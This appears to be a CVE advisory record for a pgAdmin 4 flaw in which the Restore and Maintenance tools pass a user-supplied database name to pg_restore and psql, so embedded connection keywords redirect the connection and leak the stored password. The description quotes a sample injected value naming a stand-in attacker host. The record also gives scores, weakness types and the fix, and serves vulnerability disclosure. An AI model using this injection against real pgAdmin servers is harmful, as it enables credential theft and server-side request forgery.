pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools

MITRE NVD CVE.ORG JSON API

Summary

CVECVE-2026-86862
StatePUBLISHED
AssignerPostgreSQL
Source PriorityCVE Program / NVD first with legacy fallback
Published2026-09-17 16:18:17 UTC
Updated2026-09-17 17:16:51 UTC
DescriptionpgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Risk And Classification

Primary CVSS: v4.0 7.1 HIGH from f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Problem Types: CWE-88 | CWE-522 | CWE-918 | CWE-88 CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') | CWE-522 CWE-522 Insufficiently Protected Credentials | CWE-918 CWE-918 Server-Side Request Forgery (SSRF)

VersionSourceTypeScoreSeverityVector
4.0f86ef6dc-4d3a-42ad-8f28-e6d5547a5007Secondary7.1HIGHCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/C...
4.0CNACVSS7.1HIGHCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
3.1f86ef6dc-4d3a-42ad-8f28-e6d5547a5007Secondary6.5MEDIUMCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
3.1CNACVSS6.5MEDIUMCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVSS v4.0 Breakdown

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Confidentiality
High
Integrity
None
Availability
None
Sub Conf.
None
Sub Integrity
None
Sub Availability
None

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS v3.1 Breakdown

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Vendor Declared Affected Products

SourceVendorProductVersionPlatforms
CNA Pgadmin.org PgAdmin 4 affected 9.18 custom Not specified

References

ReferenceSourceLinkTags
github.com/pgadmin-org/pgadmin4/issues/10388 f86ef6dc-4d3a-42ad-8f28-e6d5547a5007 github.com
CVE Program record CVE.ORG www.cve.org canonical
NVD vulnerability detail NVD nvd.nist.gov canonical, analysis

Vendor Comments And Credit

Discovery Credit

CNA: Hitesh Jambhale <[email protected]> (en)

CNA: Hitesh Jambhale <[email protected]> (en)

CNA: Kundan Sable <[email protected]> (en)

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